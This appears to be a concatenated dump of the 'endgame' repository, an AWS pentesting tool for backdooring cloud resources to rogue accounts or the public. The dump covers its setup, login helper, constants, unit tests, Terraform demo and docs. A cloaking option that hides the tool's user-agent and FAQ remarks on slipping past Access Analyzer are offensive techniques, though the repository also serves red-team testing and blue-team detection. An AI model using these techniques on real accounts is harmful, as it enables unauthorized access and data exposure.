36 | tags = { 37 | Name = "subnet_1" 38 | } 39 | } 40 | 41 | resource "aws_subnet" "subnet_2" { 42 | vpc_id = aws_vpc.main.id 43 | cidr_block = "10.0.1.16/28" 44 | availability_zone = "us-east-1c" 45 | 46 | tags = { 47 | Name = "subnet_1" 48 | } 49 | } 50 | 51 | resource "aws_db_subnet_group" "default" { 52 | name = "test-resource-exposure-subnet" 53 | subnet_ids = [aws_subnet.subnet_1.id, aws_subnet.subnet_2.id] 54 | 55 | tags = { 56 | Name = "test-resource-exposure" 57 | } 58 | } -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | """Setup script""" 2 | import setuptools 3 | import os 4 | import re 5 | 6 | HERE = os.path.abspath(os.path.dirname(__file__)) 7 | VERSION_RE = re.compile(r"""__version__ = ['"]([0-9.]+)['"]""") 8 | TESTS_REQUIRE = ["coverage", "nose", "pytest", "moto[s3]"] 9 | 10 | 11 | def get_version(): 12 | init = open(os.path.join(HERE, "endgame", "bin", "version.py")).read() 13 | return VERSION_RE.search(init).group(1) 14 | 15 | 16 | def get_description(): 17 | return open( 18 | os.path.join(os.path.abspath(HERE), "README.md"), encoding="utf-8" 19 | ).read() 20 | 21 | 22 | setuptools.setup( 23 | name="endgame", 24 | include_package_data=True, 25 | version=get_version(), 26 | author="Kinnaird McQuade", 27 | author_email="kinnairdm@gmail.com", 28 | description="An AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account - or to the entire internet 😈", 29 | long_description=get_description(), 30 | long_description_content_type="text/markdown", 31 | url="https://github.com/salesforce/endgame", 32 | packages=setuptools.find_packages(exclude=["test*"]), 33 | tests_require=TESTS_REQUIRE, 34 | install_requires=[ 35 | "botocore", 36 | "boto3", 37 | "click", 38 | "policy_sentry>=0.11.5", 39 | "colorama", 40 | ], 41 | classifiers=[ 42 | "Programming Language :: Python :: 3", 43 | "License :: OSI Approved :: MIT License", 44 | "Operating System :: OS Independent", 45 | ], 46 | entry_points={"console_scripts": "endgame=endgame.bin.cli:main"}, 47 | zip_safe=True, 48 | keywords="aws iam security", 49 | python_requires=">=3.7", 50 | ) 51 | -------------------------------------------------------------------------------- /endgame/shared/aws_login.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | import boto3 4 | from botocore.config import Config 5 | from endgame.shared import constants 6 | logger = logging.getLogger(__name__) 7 | 8 | 9 | def get_boto3_client(profile, service: str, region="us-east-1", cloak: bool = False) -> boto3.Session.client: 10 | logging.getLogger('botocore').setLevel(logging.CRITICAL) 11 | session_data = {"region_name": region} 12 | if profile: 13 | session_data["profile_name"] = profile 14 | session = boto3.Session(**session_data) 15 | 16 | if cloak: 17 | config = Config(connect_timeout=5, retries={"max_attempts": 10}) 18 | else: 19 | config = Config(connect_timeout=5, retries={"max_attempts": 10}, user_agent=constants.USER_AGENT_INDICATOR) 20 | if os.environ.get('LOCALSTACK_ENDPOINT_URL'): 21 | client = session.client(service, config=config, endpoint_url=os.environ.get('LOCALSTACK_ENDPOINT_URL')) 22 | else: 23 | client = session.client(service, config=config, endpoint_url=os.environ.get('LOCALSTACK_ENDPOINT_URL')) 24 | logger.debug(f"{client.meta.endpoint_url} in {client.meta.region_name}: boto3 client login successful") 25 | return client 26 | 27 | 28 | def get_current_account_id(sts_client: boto3.Session.client) -> str: 29 | response = sts_client.get_caller_identity() 30 | current_account_id = response.get("Account") 31 | return current_account_id 32 | 33 | 34 | def get_available_regions(service: str): 35 | regions = boto3.session.Session().get_available_regions(service) 36 | logger.debug("The service %s does not have available regions. Returning us-east-1 as default") 37 | if not regions: 38 | regions = ["us-east-1"] 39 | return regions 40 | -------------------------------------------------------------------------------- /docs/appendices/acm-pca-activation.md: -------------------------------------------------------------------------------- 1 | # ACM PCA Activation 2 | 3 | While the rest of the infrastructure deployed via the Terraform resources is ready to go as soon as `make terraform-demo` is finished, you will need to do some manual follow-up steps in ACM PCA for the demo to work. 4 | 5 | Follow the steps below to activate the PCA. After following these steps, you can successfully perform the Resource Exposure activities. 6 | 7 | ## Create Terraform Resources 8 | 9 | * Run the Terraform code to generate the example AWS resources. 10 | 11 | ```bash 12 | make terraform-demo 13 | ``` 14 | 15 | ## Follow-up steps to activate ACM PCA 16 | 17 | 18 | The ACM Private Certificate Authority will have been created - but you won't be able to use it yet. Per [the Terraform docs on [aws_acmpca_certificate_authority](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/acmpca_certificate_authority), "Creating this resource will leave the certificate authority in a `PENDING_CERTIFICATE status`, which means it cannot yet issue certificates." 19 | 20 | * To solve this, navigate to the AWS Console in the selected region. Observe how the certificate authority is in the `PENDING_CERTIFICATE` status, as shown in the image below. 21 | 22 | > ![ACM PCA Pending Status](../images/acm-pca-action-required.png) 23 | 24 | * Select "Install a CA Certificate to activate your CA", as shown in the image above, marked by the **red box**. 25 | 26 | * A wizard will pop up. Use the default settings and hit **"Next"**, then **"Confirm and Install"**. 27 | 28 | * Observe that your root CA certificate was installed successfully, and that the STATUS of the CA is ACTIVE and able to issue private certificates. 29 | 30 | .. and now you are ready to pwn that root certificate with this tool 😈 31 | -------------------------------------------------------------------------------- /endgame/shared/constants.py: -------------------------------------------------------------------------------- 1 | import copy 2 | SUPPORTED_AWS_SERVICES = [ 3 | "all", 4 | "acm-pca", 5 | "ec2-ami", 6 | "ebs", 7 | "ecr", 8 | "efs", 9 | "elasticsearch", 10 | "glacier", 11 | "iam", 12 | "kms", 13 | "lambda", 14 | "lambda-layer", 15 | "cloudwatch", 16 | "rds", 17 | "s3", 18 | "secretsmanager", 19 | "ses", 20 | "sns", 21 | "sqs", 22 | ] 23 | EMPTY_POLICY = {"Version": "2012-10-17", "Statement": []} 24 | EC2_ASSUME_ROLE_POLICY = { 25 | "Version": "2012-10-17", 26 | "Statement": [ 27 | { 28 | "Action": "sts:AssumeRole", 29 | "Principal": { 30 | "Service": "ec2.amazonaws.com" 31 | }, 32 | "Effect": "Allow", 33 | "Sid": "" 34 | } 35 | ] 36 | } 37 | LAMBDA_ASSUME_ROLE_POLICY = { 38 | "Version": "2012-10-17", 39 | "Statement": [ 40 | { 41 | "Effect": "Allow", 42 | "Principal": { 43 | "Service": "lambda.amazonaws.com" 44 | }, 45 | "Action": "sts:AssumeRole" 46 | } 47 | ] 48 | } 49 | 50 | # THIS VARIABLE IS KEY. Let's say you are doing a blue team test, and you are trying to see if your team picked up on 51 | # any modifications that were made using this tool. You can loop through policies that have this SID value to see how 52 | # accurate your detection mechanisms were at picking up vulnerable resource-based policies like this. 53 | # Any IAM Policy with a statement added from this tool will include the value of this variable. 54 | SID_SIGNATURE = "Endgame" 55 | ALLOW_CURRENT_ACCOUNT_SID_SIGNATURE = "AllowCurrentAccount" 56 | # This can be used by blue team to identify API calls in CloudTrail executed by this tool. 57 | USER_AGENT_INDICATOR = "HotDogsAreSandwiches" 58 | 59 | 60 | def get_empty_policy(): 61 | """Return a copy of an empty policy""" 62 | return copy.deepcopy(EMPTY_POLICY) 63 | -------------------------------------------------------------------------------- /test/exposure_via_resource_policies/test_ecr.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | from moto import mock_ecr 4 | from endgame.exposure_via_resource_policies.ecr import EcrRepositories 5 | from endgame.shared.aws_login import get_boto3_client 6 | 7 | MY_RESOURCE = "test-resource-exposure" 8 | EVIL_PRINCIPAL = "arn:aws:iam::999988887777:user/evil" 9 | 10 | 11 | # https://github.com/spulec/moto/tree/master/tests/test_ecr 12 | class EcrTestCase(unittest.TestCase): 13 | def setUp(self): 14 | with warnings.catch_warnings(): 15 | warnings.filterwarnings("ignore", category=DeprecationWarning) 16 | self.mock = mock_ecr() 17 | self.mock.start() 18 | self.client = get_boto3_client(profile=None, service="ecr", region="us-east-1", cloak=False) 19 | self.client.create_repository(repositoryName=MY_RESOURCE) 20 | # get_resource_policy has not been implemented by moto for ecr 21 | # self.example = EcrRepository(name=MY_RESOURCE, region="us-east-1", client=self.client, 22 | # current_account_id="111122223333") 23 | self.repositories = EcrRepositories(client=self.client, current_account_id="111122223333", region="us-east-1") 24 | 25 | def test_list_resources(self): 26 | print() 27 | resource_names = [] 28 | for resource in self.repositories.resources: 29 | resource_names.append(resource.name) 30 | print(resource.name) 31 | self.assertTrue("test-resource-exposure" in resource_names) 32 | 33 | # get_resource_policy has not been implemented by moto for ecr 34 | # def test_get_rbp(self): 35 | 36 | # put_resource_policy has not been implemented by moto for ecr 37 | # def test_set_rbp(self): 38 | # def test_add_myself(self): 39 | 40 | def tearDown(self): 41 | self.client.create_repository(repositoryName=MY_RESOURCE) 42 | self.mock.stop() 43 | -------------------------------------------------------------------------------- /docs/appendices/roadmap.md: -------------------------------------------------------------------------------- 1 | ### Backdoors via AWS Resource Access Manager 2 | 3 | By default, AWS RAM allows you to share resources with **any** AWS Account. 4 | 5 | Supported resource types are listed in the AWS documentation [here](https://docs.aws.amazon.com/ram/latest/userguide/shareable.html). 6 | 7 | ## Status 8 | 9 | This exploit method is not currently implemented. Please come back later when we've implemented it. 10 | 11 | To get notified when it is available, you can take one of the following methods: 12 | 1. In GitHub, select "Watch for new releases" 13 | 2. Follow the author [@kmcquade](https://twitter.com/kmcquade3) on Twitter. He will announce when this feature is available 😃 14 | 15 | ### Resources not on roadmap 16 | 17 | | Resource Type | Support Status | 18 | |-------------------------------|----------------| 19 | | S3 Objects | ❌ | 20 | | CloudWatch Destinations | ❌ | 21 | | Glue | ❌ | 22 | 23 | * **S3 Buckets**: We do not plan on sharing individual S3 objects given the sheer amount of bandwidth that would require. If you want this feature, I suggest scripting it. 24 | * **CloudWatch Destinations**: Modifying CloudWatch destination policies would only provide the benefit of delivering victim logs to attacker accounts - but that would have to be open permanently. This is not as destructive or useful to an attacker as the rest of these exploits, so I am not including it here. 25 | * **Glue**: According to the [AWS documentation on AWS Glue Resource Policies](https://docs.aws.amazon.com/glue/latest/dg/glue-resource-policies.html), _"An AWS Glue resource policy can only be used to manage permissions for Data Catalog resources. You can't attach it to any other AWS Glue resources such as jobs, triggers, development endpoints, crawlers, or classifiers"_. This kind of data access is not as useful as destructive actions, at first glance. We are open to supporting this resource, but on pull requests only. 26 | -------------------------------------------------------------------------------- /test/shared/test_validate.py: -------------------------------------------------------------------------------- 1 | import json 2 | import unittest 3 | from click.testing import CliRunner 4 | import datetime 5 | from endgame.shared.validate import validate_user_or_principal_arn, click_validate_comma_separated_resource_names 6 | 7 | 8 | class ValidateTestCase(unittest.TestCase): 9 | 10 | def test_validate_user_or_principal_arn(self): 11 | """shared.validate.validate_user_or_principal_arn: should highlight user ARNs properly""" 12 | user_arn = "arn:aws:iam::123456789012:user/kmcquade" 13 | role_arn = "arn:aws:iam::123456789012:role/myrole" 14 | 15 | invalid_arn_1 = "arn:aws:iam::123456789012:sup/notreal" 16 | invalid_arn_2 = "arn:aws:s3:::test-bucket" 17 | self.assertTrue(validate_user_or_principal_arn(user_arn)) 18 | self.assertTrue(validate_user_or_principal_arn(role_arn)) 19 | with self.assertRaises(Exception): 20 | validate_user_or_principal_arn(invalid_arn_1) 21 | with self.assertRaises(Exception): 22 | validate_user_or_principal_arn(invalid_arn_2) 23 | 24 | def test_click_validate_comma_separated_resource_names(self): 25 | """shared.validate.click_validate_comma_separated_resource_names: Should return values properly""" 26 | self.assertIsNone(click_validate_comma_separated_resource_names(ctx=None, param=None, value=None)) 27 | self.assertIsInstance(click_validate_comma_separated_resource_names(ctx=None, param=None, value=""), list) 28 | self.assertListEqual(click_validate_comma_separated_resource_names(ctx=None, param=None, value=""), []) 29 | comma_separated_string = "victimbucket1,victimbucket2,victimbucket3" 30 | result = click_validate_comma_separated_resource_names(ctx=None, param=None, value=comma_separated_string) 31 | expected_result = ['victimbucket1', 'victimbucket2', 'victimbucket3'] 32 | self.assertListEqual(result, expected_result) 33 | with self.assertRaises(Exception): 34 | click_validate_comma_separated_resource_names(ctx=None, param=None, value={}) 35 | 36 | -------------------------------------------------------------------------------- /mkdocs.yml: -------------------------------------------------------------------------------- 1 | site_name: Endgame 2 | site_url: https://endgame.readthedocs.io/ 3 | repo_url: https://github.com/salesforce/endgame/ 4 | theme: material 5 | use_directory_urls: true 6 | markdown_extensions: 7 | - codehilite 8 | - tables 9 | plugins: 10 | - search 11 | - mkdocstrings: 12 | default_handler: python 13 | handlers: 14 | python: 15 | rendering: 16 | show_source: true 17 | watch: 18 | - endgame/ 19 | extra_css: 20 | - custom.css 21 | nav: 22 | - Home: 'index.md' 23 | - Installation: 'installation.md' 24 | - Tutorial: 'tutorial.md' 25 | - Detection: 'detection.md' 26 | - Prevention: 'prevention.md' 27 | - Recommendations To AWS: 'recommendations-to-aws.md' 28 | - Permissions: 'iam-permissions.md' 29 | 30 | - "Backdoor Resource Types": 31 | - ACM Private CAs: 'risks/acm-pca.md' 32 | - CloudWatch: 'risks/logs.md' 33 | - Elastic Block Store (EBS): 'risks/ebs.md' 34 | - EC2 Machine Images (AMIs): 'risks/amis.md' 35 | - Elastic Container Registry (ECR): 'risks/ecr.md' 36 | - Elastic File System (EFS): 'risks/efs.md' 37 | - ElasticSearch: 'risks/es.md' 38 | - Glacier Vaults: 'risks/glacier.md' 39 | - IAM Roles: 'risks/iam-roles.md' 40 | - KMS Keys: 'risks/kms.md' 41 | - Lambda Functions: 'risks/lambda-functions.md' 42 | - Lambda Layers: 'risks/lambda-layers.md' 43 | - RDS Snapshots: 'risks/rds-snapshots.md' 44 | - S3 Buckets: 'risks/s3.md' 45 | - Secrets Manager: 'risks/secretsmanager.md' 46 | - SES Authorized Senders: 'risks/ses.md' 47 | - SNS Topics: 'risks/sns.md' 48 | - SQS Queues: 'risks/sqs.md' 49 | 50 | - "Contributing": 51 | - Contributing: 'contributing/contributing.md' 52 | - Testing: 'contributing/testing.md' 53 | 54 | - "Appendices": 55 | - Terraform Demo Infrastructure: 'appendices/terraform-demo-infrastructure.md' 56 | - ACM PCA Activation: 'appendices/acm-pca-activation.md' 57 | - Roadmap: 'appendices/roadmap.md' 58 | - FAQ: 'appendices/faq.md' 59 | - Resource Policy Primer: 'resource-policy-primer.md' 60 | -------------------------------------------------------------------------------- /endgame/__init__.py: -------------------------------------------------------------------------------- 1 | # pylint: disable=missing-module-docstring 2 | import logging 3 | from logging import NullHandler 4 | 5 | # Set default handler when endgame is used as library to avoid "No handler found" warnings. 6 | logging.getLogger(__name__).addHandler(NullHandler()) 7 | 8 | 9 | def set_stream_logger(name="endgame", level=logging.DEBUG, format_string=None): 10 | """ 11 | Add a stream handler for the given name and level to the logging module. 12 | By default, this logs all endgame messages to ``stdout``. 13 | >>> import endgame 14 | >>> endgame.set_stream_logger('endgame.database.build', logging.INFO) 15 | :type name: string 16 | :param name: Log name 17 | :type level: int 18 | :param level: Logging level, e.g. ``logging.INFO`` 19 | :type format_string: str 20 | :param format_string: Log message format 21 | """ 22 | # remove existing handlers. since NullHandler is added by default 23 | handlers = logging.getLogger(name).handlers 24 | for handler in handlers: 25 | logging.getLogger(name).removeHandler(handler) 26 | if format_string is None: 27 | format_string = "%(asctime)s %(name)s [%(levelname)s] %(message)s" 28 | logger = logging.getLogger(name) 29 | logger.setLevel(level) 30 | handler = logging.StreamHandler() 31 | handler.setLevel(level) 32 | formatter = logging.Formatter(format_string) 33 | handler.setFormatter(formatter) 34 | logger.addHandler(handler) 35 | 36 | 37 | def set_log_level(verbose): 38 | """ 39 | Set Log Level based on click's count argument. 40 | 41 | Default log level to critical; otherwise, set to: warning for -v, info for -vv, debug for -vvv 42 | 43 | :param verbose: integer for verbosity count. 44 | :return: 45 | """ 46 | if verbose == 1: 47 | set_stream_logger(level=getattr(logging, "WARNING")) 48 | elif verbose == 2: 49 | set_stream_logger(level=getattr(logging, "INFO")) 50 | elif verbose >= 3: 51 | set_stream_logger(level=getattr(logging, "DEBUG")) 52 | else: 53 | set_stream_logger(level=getattr(logging, "CRITICAL")) 54 | -------------------------------------------------------------------------------- /test/shared/test_utils.py: -------------------------------------------------------------------------------- 1 | import json 2 | import unittest 3 | from click.testing import CliRunner 4 | from policy_sentry.util.arns import get_account_from_arn 5 | from endgame.shared import constants 6 | from endgame.shared.utils import change_policy_principal_from_arn_to_account_id 7 | 8 | victim_account_id = "123456789012" 9 | evil_principal = "arn:aws:iam::987654321:user/mwahahaha" 10 | evil_account_id = "987654321" 11 | 12 | 13 | class ChangePrincipalArnToIdTestCase(unittest.TestCase): 14 | def test_principal_is_string(self): 15 | print() 16 | policy = { 17 | 'Version': '2012-10-17', 18 | 'Statement': [ 19 | { 20 | 'Sid': 'AllowCurrentAccount', 21 | 'Effect': 'Allow', 22 | 'Principal': {'AWS': 'arn:aws:iam::111222333:root'}, 23 | 'Action': 'logs:*', 24 | 'Resource': ['*', '*/*'] 25 | }, 26 | { 27 | 'Sid': 'Endgame', 28 | 'Effect': 'Allow', 29 | 'Principal': {'AWS': 'arn:aws:iam::999888777:root'}, 30 | 'Action': 'logs:*', 31 | 'Resource': ['*'] 32 | } 33 | ] 34 | } 35 | expected_result = { 36 | 'Version': '2012-10-17', 37 | 'Statement': [ 38 | { 39 | 'Sid': 'AllowCurrentAccount', 40 | 'Effect': 'Allow', 41 | 'Principal': {'AWS': ['111222333']}, 42 | 'Action': 'logs:*', 43 | 'Resource': ['*', '*/*'] 44 | }, 45 | { 46 | 'Sid': 'Endgame', 47 | 'Effect': 'Allow', 48 | 'Principal': {'AWS': ['999888777']}, 49 | 'Action': 'logs:*', 50 | 'Resource': ['*'] 51 | } 52 | ] 53 | } 54 | results = change_policy_principal_from_arn_to_account_id(policy) 55 | print(json.dumps(results, indent=4)) 56 | self.assertDictEqual(results, expected_result) 57 | 58 | def test_principal_is_list(self): 59 | print() 60 | 61 | # def test_principal_does_not_exist(self): 62 | # print() 63 | -------------------------------------------------------------------------------- /terraform/all.tf: -------------------------------------------------------------------------------- 1 | //module "acm_pca" { 2 | // source = "./acm-pca" 3 | //} 4 | 5 | module "cloudwatch_resource_policy" { 6 | source = "./cloudwatch-resource-policy" 7 | } 8 | 9 | module "ebs" { 10 | source = "./ebs-snapshot" 11 | } 12 | 13 | module "ec2_ami" { 14 | source = "./ec2-ami" 15 | } 16 | 17 | module "ecr" { 18 | source = "./ecr-repository" 19 | } 20 | 21 | module "efs" { 22 | source = "./efs-file-system" 23 | } 24 | 25 | //module "elasticsearch_domain" { 26 | // source = "./elasticsearch-domain" 27 | //} 28 | 29 | module "glacier" { 30 | source = "./glacier-vault" 31 | } 32 | 33 | module "iam_role" { 34 | source = "./iam-role" 35 | } 36 | 37 | module "lambda_function" { 38 | source = "./lambda-function" 39 | } 40 | 41 | module "lambda_layer" { 42 | source = "./lambda-layer" 43 | } 44 | 45 | module "rds_snapshot" { 46 | source = "./rds-snapshot" 47 | } 48 | 49 | module "s3_bucket" { 50 | source = "./s3-bucket" 51 | } 52 | 53 | 54 | //module "secrets_manager" { 55 | // source = "./secrets-manager" 56 | //} 57 | 58 | module "ses_identity" { 59 | source = "./ses-domain-identity" 60 | } 61 | 62 | module "sns_topic" { 63 | source = "./sns-topic" 64 | } 65 | 66 | module "sqs_queue" { 67 | source = "./sqs-queue" 68 | } 69 | 70 | 71 | 72 | //output "names" { 73 | // value = module.ec2_ami.ami_id 74 | //} 75 | 76 | /* 77 | ElasticSearch Domain: ${module.elasticsearch_domain.name} 78 | Secrets Manager: ${module.secrets_manager.name} 79 | ACM Private Certificate Authority (ACM PCA): ${module.acm_pca.arn} 80 | */ 81 | 82 | output "names" { 83 | value = < list: 30 | return utils.get_sid_names_with_error_handling(self.updated_policy) 31 | 32 | @property 33 | def original_policy_sids(self) -> list: 34 | return utils.get_sid_names_with_error_handling(self.original_policy) 35 | 36 | @property 37 | def victim_resource_name(self) -> str: 38 | principal_name = get_resource_path_from_arn(self.evil_principal) 39 | return principal_name 40 | 41 | @property 42 | def evil_principal_name(self) -> str: 43 | principal_name = get_resource_path_from_arn(self.evil_principal) 44 | return principal_name 45 | 46 | @property 47 | def added_sids(self) -> list: 48 | diff = [] 49 | if len(self.updated_policy_sids) > len(self.original_policy_sids): 50 | diff = list(set(self.updated_policy_sids) - set(self.original_policy_sids)) 51 | return diff 52 | 53 | @property 54 | def removed_sids(self) -> list: 55 | diff = [] 56 | if len(self.original_policy_sids) > len(self.updated_policy_sids): 57 | diff = list(set(self.original_policy_sids) - set(self.updated_policy_sids)) 58 | return diff 59 | 60 | 61 | class ResponseGetRbp: 62 | def __init__(self, policy_document, success): 63 | self.policy_document = policy_document 64 | self.success = success 65 | -------------------------------------------------------------------------------- /test/exposure_via_resource_policies/test_secrets_manager.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | import json 4 | from moto import mock_secretsmanager 5 | from endgame.exposure_via_resource_policies.secrets_manager import SecretsManagerSecret, SecretsManagerSecrets 6 | from endgame.shared.aws_login import get_boto3_client 7 | 8 | MY_RESOURCE = "test-resource-exposure" 9 | EVIL_PRINCIPAL = "arn:aws:iam::999988887777:user/evil" 10 | 11 | 12 | # https://github.com/spulec/moto/blob/master/tests/test_secretsmanager/test_secretsmanager.py 13 | class SecretsManagerTestCase(unittest.TestCase): 14 | def setUp(self): 15 | with warnings.catch_warnings(): 16 | warnings.filterwarnings("ignore", category=DeprecationWarning) 17 | self.mock = mock_secretsmanager() 18 | self.mock.start() 19 | current_account_id = "111122223333" 20 | region = "us-east-1" 21 | self.client = get_boto3_client(profile=None, service="secretsmanager", region=region) 22 | response = self.client.create_secret( 23 | Name=MY_RESOURCE, SecretString="foosecret" 24 | ) 25 | self.example = SecretsManagerSecret(name=MY_RESOURCE, region=region, client=self.client, 26 | current_account_id=current_account_id) 27 | self.secrets = SecretsManagerSecrets(client=self.client, current_account_id=current_account_id, region=region) 28 | 29 | def test_list_secrets(self): 30 | print(self.secrets.resources[0].name) 31 | print(self.secrets.resources[0].arn) 32 | self.assertTrue(self.secrets.resources[0].name == "test-resource-exposure") 33 | self.assertTrue(self.secrets.resources[0].arn.startswith("arn:aws:secretsmanager:us-east-1:1234567890:secret:test-resource-exposure")) 34 | 35 | def test_get_rbp(self): 36 | expected_result = { 37 | "Version": "2012-10-17", 38 | "Statement": { 39 | "Effect": "Allow", 40 | "Principal": { 41 | "AWS": [ 42 | "arn:aws:iam::111122223333:root", 43 | "arn:aws:iam::444455556666:root" 44 | ] 45 | }, 46 | "Action": [ 47 | "secretsmanager:GetSecretValue" 48 | ], 49 | "Resource": "*" 50 | } 51 | } 52 | print(json.dumps(self.example.original_policy, indent=4)) 53 | self.assertDictEqual(self.example.original_policy, expected_result) 54 | 55 | # put_resource_policy has not been implemented by moto for secrets manager 56 | # def test_set_rbp(self): 57 | # def test_add_myself(self): 58 | 59 | def tearDown(self): 60 | self.client.delete_secret(SecretId=MY_RESOURCE) 61 | self.mock.stop() 62 | -------------------------------------------------------------------------------- /.github/workflows/publish.yml: -------------------------------------------------------------------------------- 1 | name: Publish 2 | 3 | on: 4 | release: 5 | types: [ published ] 6 | 7 | jobs: 8 | test: 9 | runs-on: ubuntu-latest 10 | strategy: 11 | matrix: 12 | python-version: ['3.7', '3.8', '3.9'] 13 | steps: 14 | - uses: actions/checkout@v2 15 | 16 | - name: Setup Python 17 | uses: actions/setup-python@v2 18 | with: 19 | python-version: ${{ matrix.python-version }} 20 | 21 | - name: Install dependencies 22 | run: | 23 | make setup-dev 24 | 25 | - name: Run pytest (unit tests) and bandit (security test) 26 | run: | 27 | make test 28 | 29 | - name: Install the package to make sure nothing is randomly broken 30 | run: | 31 | make install 32 | 33 | publish-package: 34 | needs: test 35 | runs-on: ubuntu-latest 36 | steps: 37 | - uses: actions/checkout@master 38 | - name: Set up Python 3.7 39 | uses: actions/setup-python@v2 40 | with: 41 | python-version: 3.7 42 | 43 | 44 | - name: Install dependencies 45 | run: | 46 | pip install -r requirements.txt 47 | pip install -r requirements-dev.txt 48 | - name: create python package 49 | run: | 50 | git config --local user.email "action@github.com" 51 | git config --local user.name "GitHub Action" 52 | git fetch --tags 53 | git pull origin main 54 | pip install setuptools wheel twine 55 | python -m setup sdist bdist_wheel 56 | - name: Publish package 57 | uses: pypa/gh-action-pypi-publish@master 58 | with: 59 | user: __token__ 60 | password: ${{ secrets.PYPI_PASSWORD }} 61 | 62 | 63 | update-brew: 64 | needs: publish-package 65 | runs-on: ubuntu-latest 66 | steps: 67 | - uses: actions/checkout@master 68 | - name: Set up Python 3.7 69 | uses: actions/setup-python@v2 70 | with: 71 | python-version: 3.7 72 | - name: publish brew 73 | run: | 74 | sleep 5m 75 | git config --local user.email "action@github.com" 76 | git config --local user.name "GitHub Action" 77 | pip install homebrew-pypi-poet 78 | pip install endgame -U 79 | git fetch origin 80 | git checkout --track origin/main 81 | latest_tag=$(git describe --tags `git rev-list --tags --max-count=1`) 82 | echo "latest tag: $latest_tag" 83 | git pull origin $latest_tag 84 | mkdir -p "HomebrewFormula" && touch "HomebrewFormula/endgame.rb" 85 | poet -f endgame > HomebrewFormula/endgame.rb 86 | git add . 87 | git commit -m "update brew formula" endgame/bin/cli.py HomebrewFormula/endgame.rb || echo "No brew changes to commit" 88 | git push -u origin main 89 | -------------------------------------------------------------------------------- /test/command/test_list_resources.py: -------------------------------------------------------------------------------- 1 | import json 2 | import os 3 | import unittest 4 | import warnings 5 | from moto import mock_s3, mock_sts 6 | from click.testing import CliRunner 7 | from endgame.command.list_resources import list_resources 8 | from endgame.shared.aws_login import get_boto3_client, get_current_account_id 9 | 10 | 11 | class ListResourcesClickUnitTests(unittest.TestCase): 12 | """Test listing S3 resources using the CLI""" 13 | 14 | def setUp(self): 15 | self.runner = CliRunner() 16 | # Set up mocked boto3 resources 17 | with warnings.catch_warnings(): 18 | warnings.filterwarnings("ignore", category=DeprecationWarning) 19 | region = "us-east-1" 20 | current_account_id = "123456789012" 21 | bucket_names = [ 22 | "victimbucket1", 23 | "victimbucket2", 24 | "victimbucket3", 25 | ] 26 | self.mock = mock_s3() 27 | self.mock.start() 28 | self.mock_sts = mock_sts() 29 | self.mock_sts.start() 30 | self.client = get_boto3_client(profile=None, service="s3", region=region) 31 | self.sts_client = get_boto3_client(profile=None, service="sts", region=region) 32 | for bucket in bucket_names: 33 | self.client.create_bucket(Bucket=bucket) 34 | # response = self.client.list_buckets() 35 | 36 | def test_list_resources_command_with_click(self): 37 | """command.list_resources.list_resources: Print out mocked AWS S3 resources properly""" 38 | result = self.runner.invoke(list_resources, ["--help"]) 39 | self.assertTrue(result.exit_code == 0) 40 | 41 | result = self.runner.invoke(list_resources, ["--service", "s3", "-v"]) 42 | expected_output = "victimbucket1\nvictimbucket2\nvictimbucket3\n" 43 | print(result.output) 44 | self.assertTrue(result.exit_code == 0) 45 | self.assertEqual(result.output, expected_output) 46 | 47 | def test_list_resources_exclusion_via_argument(self): 48 | """command.list_resources.list_resources: Exclude resources using argument""" 49 | result = self.runner.invoke(list_resources, ["--service", "s3", "--exclude", "victimbucket2"]) 50 | print(result.output) 51 | self.assertEqual(result.output, "victimbucket1\nvictimbucket3\n") 52 | 53 | def test_list_resources_exclusion_via_envvar(self): 54 | """command.list_resources.list_resources: Exclude resources using environment variable""" 55 | os.environ["EXCLUDED_NAMES"] = "victimbucket1" 56 | result = self.runner.invoke(list_resources, ["--service", "s3"]) 57 | print(result.output) 58 | self.assertEqual(result.output, "victimbucket2\nvictimbucket3\n") 59 | 60 | def test_list_resources_exclude_multiple(self): 61 | result = self.runner.invoke(list_resources, ["--service", "s3", "--exclude", "victimbucket1,victimbucket2"]) 62 | print(result.output) 63 | self.assertEqual(result.output, "victimbucket3\n") 64 | -------------------------------------------------------------------------------- /docs/appendices/faq.md: -------------------------------------------------------------------------------- 1 | # FAQ 2 | 3 | ## Where does AWS Access Analyzer fall short? 4 | 5 | [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) analyzes new or updated resource-based policies within 30 minutes of policy updates (triggered by CloudTrail log entries), and during periodic scans (every 24 hours). If an attacker leverages the `expose` or `smash` commands but quickly rolls back the changes with `--undo`, you might not find out about the attack with Access Analyzer until 30 minutes later. 6 | 7 | However, Access Analyzer can still be especially useful in ensuring that if attacks do gain a foothold in your infrastructure. If the attacker ran Endgame or perform resource exposure attacks without the tool, you can still use Access Analyzer to alert on those changes so you can respond to the issue, instead of allowing a persistent backdoor. 8 | 9 | The primary drawback with AWS Access Analyzer is that it does not support 11/17 resource types currently supported by Endgame. It also does not support AWS RAM Resource sharing outside of your trust zone, or resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, and EC2 AMIs). 10 | 11 | See the [Recommendations to AWS](../recommendations-to-aws.md) section for more details. 12 | 13 | ## Related Tools in the Ecosystem 14 | 15 | ### Attack tools 16 | 17 | [Pacu](https://github.com/RhinoSecurityLabs/pacu/) is an AWS exploitation framework created by [Spencer Gietzen](https://twitter.com/SpenGietz), designed for testing the security of Amazon Web Services environments. The [iam__backdoor_assume_role](https://github.com/RhinoSecurityLabs/pacu/blob/master/modules/iam__backdoor_assume_role/main.py) module was a particular point of inspiration for `endgame` - it creates backdoors in IAM roles by creating trust relationships with one or more roles in the account, allowing those users to assume those roles after they are no longer using their current set of credentials. 18 | 19 | ### Detection/scanning tools 20 | 21 | [Cloudsplaining](https://opensource.salesforce.com/cloudsplaining/), is an AWS IAM assessment tool produced by [Kinnaird McQuade](https://twitter.com/kmcquade3) that showed us the pervasiveness of least privilege violations in AWS IAM across the industry. Two findings of particular interest to `endgame` are Resource Exposure and Service Wildcards. Resource Exposure describes actions that grant access to share resources with rogue accounts or to the internet - i.e., modifying Resource-based Policies, sharing resources with AWS RAM, or via resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, or EC2 AMIs). 22 | 23 | ### Prevention tools 